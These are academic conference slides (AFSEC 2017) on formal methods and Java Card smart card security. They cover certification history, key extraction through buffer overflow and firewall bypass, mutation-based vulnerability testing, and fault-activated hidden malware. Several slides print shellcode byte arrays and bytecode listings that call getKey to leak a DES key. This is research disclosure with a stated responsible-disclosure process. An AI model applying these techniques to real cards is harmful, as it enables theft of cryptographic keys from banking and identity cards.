Formal Methods and the Dark Side of the Force

jean-louis.lanet@inria.fr

AFSEC 2017
Paris, June the 21st
Agenda

• Retro-futurism,
• Retrieving keys,
• Vulnerability analysis
• Fault enabled malware
• Conclusion
Saint Malo 99 and ZB 2000

• Invited to Saint-Malo in 1999,
• Invited to ZB 2000 in York,
  – Are Smart Cards the ideal domain for applying formal methods?
  – Three main reasons:
    • Certification,
    • Reducing the cost of the test
    • Complexity is increasing
  – Industrial point of view...
ZB 2000

• Invited at ZB 2000 in York,
  – *Are Smart Cards the ideal Domain for applying Formal Methods?*,
  – Three main reasons:
    • Certification,
    • Reducing the cost of the test
    • Complexity is increasing

• 15 years after, did I predict correctly the future?
Certification

• Common Criteria certification scheme was internationally recognized (May 2000),
• Europe required EAL4+ for electronic signature usage,
• Formal methods are mandatory while reaching EAL6 and EAL7 levels.
• Unfortunately cost was very high even for EAL5 levels...
Certification

• ANSSI web site 2004-2015
  – Only two products at EL7 level:
    • Virtual Machine of Multos M3 – G230M mask with AMD 113v4 (SC)
    • Virtual Machine of ID Motion V1 G231 mask with AMD 122v1 (SC)
    • Memory Management Unit des microcontrôleurs SAMSUNG S3FT9KF/ S3FT9KT/ S3FT9KS en révision 1
  – Only two products at EAL6 level
    • Microcontrôleurs sécurisés SA23YR80/48 et SB23YR80/48, incluant la bibliothèque cryptographique NesLib v2.0, v3.0 ou v3.1, en configuration SA ou SB
    • Microcontrôleurs sécurisés ST23YR48B et ST23YR80B

• Certification was definitely not the right vector
Cost of the test

• Automating the test cases generation using formal model,
  – Optimizing the test case generation,
  – Formal models used for describing the SUT,
  – Model for test are different than models for proof,

• One company in France:
  – Leirios Technologies (RIP) was using formal B model to generate test cases,
  – Smart Testing uses UML charts + OCL constraints...

• Seems difficult to find a real business activity,

• Test case generation was also not the right vector
Complexity of the software

• Small devices include sometime vulnerabilities,
• One piece of software has been intensively studied: the Java Byte Code Verifier and in particular the JC BCV,
  – Proving such important piece of code (or specification) could be interesting,
  – Small size of c-code or Java code
  – We proved the correctness of the specification versus the type system,
  – We synthetize the code, obtaining the first card formally proved (2002)
• One specification, one implementation: the Oracle one,
• Only binary is provided, reverse is forbidden, secrecy by obscurity...
During 19 years...

• No bugs have been found using formal methods (even mine!),
• In 2011, E. Faugeron discovered a bug in the `switch case` verification.
• In 2015 (Next Cardis) a huge weakness has been discovered that leads to ill typed applet execution and thus to native code execution.
• The property that was considered as important was the type system:
  – Weakness was in the structural part,
  – But leads to ill-typed code execution.
Complexity of software

- Formal methods is useful for proving correctness of protocol,
- It fail to be an efficient vector for mitigating the complexity of software
  - Manual inspection and fuzzing were much more efficient than formal methods to find bugs,
  - Cost of proving is high,
  - Devil was in the details,
  - Functional testing can not discover the bug,
  - Smart cards become more complex,
  - Size of code is more important
Agenda

• Retro-futurism,
• Retrieving keys,
• Vulnerability analysis
• Fault enabled malware
• Conclusion
Introduction

• Recovering keys from a card,
  – Cryptanalysis
  – Side Channel,
  – Reverse engineering,
  – Fault injections

• Should it be more simple just to ask the card to provide the key?
  – In Java, just invoke the method `getKey()`,
  – Is it possible to execute a shell code? Just like in mainstream IT threats?
Segregated world

- Java Card world is partitioned into security domain,
- Each Java Card package belongs to a security domain,
- No way to have access to an object that belongs to another security context than ours.
- Two problems to solve:
  - Can I execute a rich shell code?
  - Can I have access to an object that does not belong to me?
A buffer overflow

• Can we implement a buffer overflow in a card?
  – A Java Frame must contain information to retrieve the state of the caller,
  – Return address is stored in the frame.
  – Can we access it illegally?

• The overflow can be obtained by accessing an illegal index as a local variable,
  – Write the desired value as a return address, e.g. an array,
  – While returning from the current method it falls into the expected shell code.

• ROP, Return Oriented Programming a funny way to program...
Execute it!

- If the array contains: 0x11 (sspush) 0x12 0x34 0x8d (invokestatic) 0x08 0xc6 (throwIt())... it throws the exception 0x1234.
Get my Key!

• If the shell code contains:

```java
(byte) 0xad, (byte) 0x6,  // getField_a_this 6
(byte) 0x1a,  //aload_2
(byte) 0x03,  //sconst_0
(byte) 0x8e, (byte) 0x03, (byte) 0x02, (byte) 0x0f, (byte) 0x04,  // invokeinterface getKey
(byte) 0x3b,  // pop
(byte) 0x7a  // return
```

• Need to do it on an object belonging to another package!
Get the key of someone else!

• Exactly the same, just obtain the reference on the other object,
  – Parse the memory, search for a key pattern use it.
  – get it...
  – don’t store it in the I/O buffer use a temporary buffer,
  – Send it out!

• **Just** need to go through the firewall...
Using the Shareable Interface

A client

A server

No firewall for this interface
Using the Shareable Interface

Client Security Domain

Client – process()

callTheServer()

getSIO

System Security Domain

RTE

GlobalPinVerif()

getSIO

Server Security Domain

Server executeShellCode()
Using the Shareable Interface
Using the Shareable Interface

The code is written by the server but executed by the client under its own security context.
Search and extract!

• To obtain references on object belonging to the client:
  – Let the client execute the server hostile method,
  – Then in its security context,
    • Parse the memory, search for a key pattern,
    • Decode it,
    • Send it out back to the server!

• Based on the possibility to load ill typed applet

• **Question**: how many vulnerabilities still exist in the reference implementation?
Agenda

• Retro-futurism,
• Retrieving keys,
• Vulnerability analysis
• Fault enabled malware
• Conclusion
Fault Tree: attacker knowledge

User Code Confidentiality

Get an address content

Get a block address content

Lure the linker

Perform a ROP

No integrity on RA
Vulnerability Analysis

• Java Card virtual machine vulnerability analysis
  – How much a Java Card virtual machine performs run time test?
  – Absence of a RT time is a potential attack path.

• Functional test case generation has been largely studied,

• Security testing is much more difficult.
  – A software is defined to be executed under some conditions
  – Set up its environment such that one of this condition is not validated.
  – Challenge is to automate the process
  – Based on Model Based Testing approach
Run Time interpreter

• Load short from local variable
  – sload index
  – stack
    • ... ->
    • ..., value
  – Description
    • The index is an unsigned byte that must be a valid index into the local variables of the current frame (Section 3.5 "Frames"). The local variable at index must contain a short. The value in the local variable at index is pushed onto the operand stack.
Run Time interpreter

• Can be modeled using the Event B formal language

EVENTS
Event \( \text{sload} \triangleq \)
   any
   index
   where
   grd1 : halt = FALSE
   grd2 : pc < maxpc
   grd1 \_ t : z(pc) \leq \text{maxstack} - 1
   grd2 \_ t : index \in 1..\text{maxlocalvar}
   grd3 \_ t : v(pc)(index) = \text{short}
   then
   act1 : pc := pc + 1
   act2 : s := s \Leftrightarrow \{pc + 1 \mapsto s(pc) \Leftrightarrow \{z(pc) \mapsto \text{short}\}\}
   act3 : z := z \Leftrightarrow \{pc + 1 \mapsto z(pc) + 1\}
   act4 : v := v \Leftrightarrow \{pc + 1 \mapsto v(pc)\}
   end
Mutate the specification

• Generate mutation of the specification
  – Mutate one guard at a time
  – For each model use the ProB model checker to find the preamble and the post-amble
  – Extract the abstract test case
  – Instantiate the concrete test case
Mutation rules

• Mutating this specification follows a set of rules

1. $\text{neg}(p_1 \land p_2) \leadsto \{ \text{neg}(p_1) \land p_2, \ p_1 \land \text{neg}(p_2), \ \text{neg}(p_1) \land \text{neg}(p_2) \}$
2. $\text{neg}(i_1 \leq i_2) \leadsto \{i_1 > i_2\}$
3. $\text{neg}(i_1 \geq i_2) \leadsto \{i_1 < i_2\}$
4. $\text{neg}(i_1 = i_2) \leadsto \{i_1 \neq i_2\}$
5. $\text{neg}(a \in B) \leadsto \{a \notin B\}$

• One of the generated model is:

EVENTS
Event \text{evt_sload_11_24_EUT} \Leftarrow
any
...
where
\begin{align*}
\text{grd} &: \quad \text{halt} = \text{FALSE} \land \text{pc} < \text{maxpc} \\
\text{grd}_t &: \quad z(\text{pc}) > \text{maxstack} - 1 \land \text{index} \in 1..\text{maxlocalvar} \land \\
& \quad \cdot v(\text{pc})(\text{index}) = \text{short} \\
\text{grd}_EUT &: \quad \text{eut} = \text{FALSE} \\
\text{then} \\
& \quad \ldots \\
\text{act}_EUT &: \quad \text{eut} := \text{TRUE} \\
\text{end}
\end{align*}
Generate the test case

• The proB model checker searches for one possible solution,
  – Preamble: `aconst_null; aconst_null; aconst_null;`
  – Body: `evt_sload_11_24_EUT`
  – Post amble: `return`

• If there is an overflow detection the test result will be false

• Concretize the test case

• Execute it:
  – Card is mute or exception: there is a test
  – 0x9000 an attack path.
Vulnerability analysis

- It is a method for vulnerability analysis of implementations, with a complete framework,
- It characterizes if a given implementation performs correctly all the expected verification,
- Best paper at SEFM, York, September 11th 2015,
- Part of the toolset should be open source but until which extend?
Agenda

- Retro-futurism,
- Retrieving keys
- Vulnerability analysis
- Fault enabled malware
- Conclusion
Fault Enabled Malware

• **Is it possible to design a code such its semantics mutates within a fault attack?**
  – A malicious code that can be loaded into the card without being detected by the security mechanisms
  – Activated, after being loaded in the card, using a fault injection
  – Consequence: modification of the loaded code behavior to a hostile one

• **Challenge:** Is it possible to hide a hostile code inside a well-typed program and then activate it using a fault injection once loaded in the card?
Example

- Get the secret key:

```java
public void process (APDU apdu ) {
    short localS ; byte localB ;
    // get the APDU buffer
    byte [] apduBuffer = apdu.getBuffer ();
    if (selectingApplet ()) { return ; }
    byte receivedByte=(byte)apdu.setIncomingAndReceive();
    // any code can be placed here
    // ...
    DES keys.getKey (apduBuffer , (short) 0) ;
    apdu.setOutgoingAndSend ((short) 0 ,16) ;
}
```
Linking Token of B2

OFFSETS INSTRUCTIONS OPERANDS

... 
/ 00d4 / nop
/ 00d5 / nop
/ 00d6 / getfield_a_this 1 // DES keys
/ 00d8 / aload 4 // L4=>apdubuffer
/ 00da / sconst_0
/ 00db / invokeinterface nargs: 3, index: 0, const: 3, method : 4
/ 00e0 / pop // returned byte
Linked Token of B2

OFFSETS INSTRUCTIONS OPERANDS

... 
/ 00d4 / nop
/ 00d5 / nop
/ 00d6 / getfield_a_this 1 // DES keys
/ 00d8 / aload 4 // L4=>apdubuffer
/ 00da / sconst_0
/ 00db / invokeinterface nargs: 3, index: 2, const: 60,
method : 4
/ 00e0 / pop // returned byte
## Linked Token of B2

<table>
<thead>
<tr>
<th>OFFSETS</th>
<th>INSTRUCTIONS</th>
<th>OPERANDS</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/ 00d4</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>/ 00d5</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>/ 00d6</td>
<td>getfield_a_this 1</td>
<td>// DES keys</td>
</tr>
<tr>
<td>/ 00d8</td>
<td>aload 4</td>
<td>// L4=&gt;apdubuffer</td>
</tr>
<tr>
<td>/ 00da</td>
<td>sconst_0</td>
<td></td>
</tr>
<tr>
<td>/ 00db</td>
<td>invokeinterface 03, 02, 3C, 04</td>
<td></td>
</tr>
<tr>
<td>/ 00e0</td>
<td>pop</td>
<td>// returned byte</td>
</tr>
</tbody>
</table>


<table>
<thead>
<tr>
<th>OFFSETS</th>
<th>INSTRUCTIONS</th>
<th>OPERANDS</th>
</tr>
</thead>
<tbody>
<tr>
<td>00d5</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>00d5</td>
<td>getfield_a_this 1</td>
<td>// DES keys</td>
</tr>
<tr>
<td>00d6</td>
<td>aload 4</td>
<td>// L4=&gt;apdubuffer</td>
</tr>
<tr>
<td>00d7</td>
<td>sconst_0</td>
<td></td>
</tr>
<tr>
<td>00d8</td>
<td>ifle</td>
<td>no operand</td>
</tr>
<tr>
<td>00d9</td>
<td>invokeinterface 03, 02, 3C, 04</td>
<td></td>
</tr>
<tr>
<td>00de</td>
<td>pop</td>
<td>// returned byte</td>
</tr>
</tbody>
</table>
 Hide the code

OFFSETS  INSTRUCTIONS

. . .
/ 00d5  /  nop
/ 00d5  /  getfield_a_this  1  // DES keys
/ 00d6  /  aload  4  // L4=>apdubuffer
/ 00d7  /  sconst_0
/ 00d8  /  ifle  8E  // was the code of invokeinterface
/ 00da  /  sconst_0  // was the first op 03
/ 00db  /  sconst_m1  // the second :02
/ 00dc  /  pop2  // the third 3C
/ 00de  /  sconst_1  // the last 04
/ 00de  /  pop  // returned byte
## Code mutation

<table>
<thead>
<tr>
<th>OFFSETS</th>
<th>INSTRUCTIONS</th>
<th>OPERANDS</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/ 00d5</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>/ 00d5</td>
<td>getfield_a_this</td>
<td>1</td>
</tr>
<tr>
<td>/ 00d6</td>
<td>aload</td>
<td>4</td>
</tr>
<tr>
<td>/ 00d7</td>
<td>sconst_0</td>
<td></td>
</tr>
<tr>
<td>/ 00d8</td>
<td>ifle</td>
<td>8E</td>
</tr>
<tr>
<td>/ 00da</td>
<td>sconst_0</td>
<td></td>
</tr>
<tr>
<td>/ 00db</td>
<td>sconst_m1</td>
<td></td>
</tr>
<tr>
<td>/ 00dc</td>
<td>pop2</td>
<td></td>
</tr>
<tr>
<td>/ 00de</td>
<td>sconst_1</td>
<td></td>
</tr>
<tr>
<td>/ 00de</td>
<td>pop</td>
<td></td>
</tr>
</tbody>
</table>
## Code mutation

<table>
<thead>
<tr>
<th>OFFSETS</th>
<th>INSTRUCTIONS</th>
<th>OPERANDS</th>
<th>COMMENTS</th>
</tr>
</thead>
<tbody>
<tr>
<td>. . .</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00d5</td>
<td>nop</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00d5</td>
<td>getfield_a_this</td>
<td>1</td>
<td>DES keys</td>
</tr>
<tr>
<td>00d6</td>
<td>aload</td>
<td>4</td>
<td>L4=&gt;apdubuffer</td>
</tr>
<tr>
<td>00d7</td>
<td>sconst_0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00d8</td>
<td></td>
<td>8E</td>
<td></td>
</tr>
<tr>
<td>00da</td>
<td>sconst_0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00db</td>
<td>sconst_m1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00dc</td>
<td>pop2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00de</td>
<td>sconst_1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00de</td>
<td>pop</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Linked Token of B2

<table>
<thead>
<tr>
<th>OFFSETS</th>
<th>INSTRUCTIONS</th>
<th>OPERANDS</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>/ 00d4</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>/ 00d5</td>
<td>getfield_a_this 1</td>
<td>// DES keys</td>
</tr>
<tr>
<td>/ 00d6</td>
<td>aload 4</td>
<td>// L4=&gt;apdubuffer</td>
</tr>
<tr>
<td>/ 00d7</td>
<td>sconst_0</td>
<td></td>
</tr>
<tr>
<td>/ 00d8</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>/ 00db</td>
<td>invokeinterface 03, 02, 3C, 04</td>
<td></td>
</tr>
<tr>
<td>/ 00e0</td>
<td>pop</td>
<td>// returned byte</td>
</tr>
</tbody>
</table>
Basic Idea: desynchronizing

- **Hypothesis**
  - Byte code level
  - Fault model
    - Precise byte error
    - Single fault
    - BSR (0x00)
  - Non-encrypted memory
Basic Idea: desynchronizing

Respecting a set of constraints

Constraints
- No stack underflow / overflow
- maxLocals, maxStack value
- Empty stack at the end
- Well-typed program

A Constraints Satisfaction Problem
Tree Traversal

• Explicit enumeration (exhaustive search) depth first
  • Exponential increasing of possible solutions number

• Intelligent enumeration: Combinatorial Optimization Domain (Search techniques)
  • Model our problem as a *Search Tree*
  • Create and explore the tree nodes using a *Branch & Bound* method
  • Paths from the root to the leaves represent possible expected sequences
Principe

• Search Tree:
  – Root: The beginning of the hostile code
  – Intermediate nodes: candidate instructions (Those respecting the defined constraints)
  – Leaves: Desired state (Reach the end of the inoffensive code)
• Search Tree
• The selection of the node to explore uses heuristics (statistical analysis data)
Trace Generator Tool

• Two generation modes
  – Classic: Depth First Strategy with 2 bounds (depth, number of solutions)
  – Random: chose the next son to explore randomly and backtrack to the root node after founding n solutions

• Heuristics (Statistical analysis data)
  – Bi-grams: root node
  – Tri-grams: other nodes

• Current state
  – Exhaustive search possible for a given initial state (arrival state: empty stack)
  – A sequence of length 25, bounded to 200 000 solutions, less than one minute
  – Reverse to Java the obtained binary code, compile it and compare
Example of a valid solution

.....
/*0x002d*/ getfield_a_this 0x00
/*0x002f*/ aload 0x04
/*0x0031*/ sinc
/*0x0032*/ sconst_0
/*0x0033*/ invokeinterface 0x03 0x02 0x3C 0x04
/*0x0038*/ pop
...

Example of a valid solution

.....
/*0x002d*/ getfield_a_this 0x00
/*0x002f*/ aload 0x04
/*0x0031*/ sinc
/*0x0032*/ sconst_0
/*0x0033*/ invokeinterface 0x03 0x02 0x3C 0x04
/*0x0038*/ pop
...
.....
/*0x002d*/ getfield_a_this 0x04
/*0x002f*/ sconst_0
/*0x0031*/ sinc 0x03 0x8E  //sconst_0 invokeinterface
/*0x0034*/ sconst_0  //0x03
/*0x0035*/ sconst_m1  //0x02
/*0x0036*/ pop2  //0x3C
/*0x0037*/ sconst_1  //0x04
/*0x0038*/ pop
...

/*0x002d*/ getfield_a_this 0x00
/*0x002f*/ load 0x04
/*0x0031*/ sinc
/*0x0032*/ sconst_0
/*0x0033*/ invokeinterface 0x03 0x02 0x3C 0x04
/*0x0038*/ pop
public void process (APDU apdu) {
    short localS; byte localB;
    // get the APDU buffer
    byte[] apduBuffer = apdu.getBuffer();
    if (selectingApplet()) { return; }
    byte receivedByte = (byte) apdu.setIncomingAndReceive();
    DES keys.getKey(apduBuffer, (short) 0);
    apdu.setOutgoingAndSend((short) 0, 16);
}

public void process(APDU var1) {
    short var3 = (short) 0;
    byte[] var4 = var1.getBuffer();
    if (!this.selectingApplet()) {
        short var5 = (short) ((byte) var1.setIncomingAndReceive());
        DESKey var10000 = this.field_token0_descoff10;
        var3 = (short) (var3 + -114);
        boolean var10002 = false;
        boolean var10003 = true;
        var10003 = true;
        var1.setOutgoingAndSend((short) 0, (short) 16);
    }
}
Generating Smart Card Virus

• We revisited Florence Charreteur work,
  – Backward State memory reconstruction,
  – With less instruction, just need to find a valid trace,
  – Join paper with Arnaud Gotlieb (AFADL 2014);

• We re-implemented the tool:
  – A solution less than a second,
  – The whole solutions set, if the trace is less than 5 elements,
  – Try to improve the solution in such a way that a reverse produces always the virus (compiler optimization eradication).
Generating Smart Card Virus

• We revisited Florence Charreteur work,
• We re-implemented the tool,
• Next steps
  – Formalize/automate the desynchronization mechanism
  – Provide virus persistence with self modifying code
  – Able to insert a loop for memory dump
  – Apply it to native code
Agenda

• Retro-futurism,
• Retrieving keys,
• Vulnerability analysis
• Fault enabled malware
• Conclusion
Learning curve

Specific

Generic

EMAN1: 24 m
EMAN2: 6 m
Linker 1 m
EMAN 4: 1 w
JsrRet: 1 H

2008
2014
Tools

Generic

Specific to attack

EMAN1: 24 m
EMAN2: 6 m
Linker 1 m
EMAN 4: 1 w
JsrRet: 1 H

Effort for tool development

2008

2014
Ethical process

• To be a win-win game we need a clear process
• Once the idea and POC is finished:
  – Contact the ANSSI,
  – Contact the Certification Centers
  – Contact the smart card companies,
  – If needed contact Oracle
• Two red lights in 2009 and 2014
  – Banking cards where using this product,
  – It gave access to native code,
  – Published only in 2014 (SSTIC)
  – The 2014 attack is still unpublished
Conclusion

• Security is a hard task, and **must** be considered globally,
• Smart card industry did not use formal method as expected,
• Academia still use them, improve tools and technics,
• Limited to academics in the context of embedded system...
  – Does hacker can take advantage of them ?
  – Which challenges in terms of ethic it implies ?

• Thanks to all my students for their help in implementing my so stupid ideas...
Question ?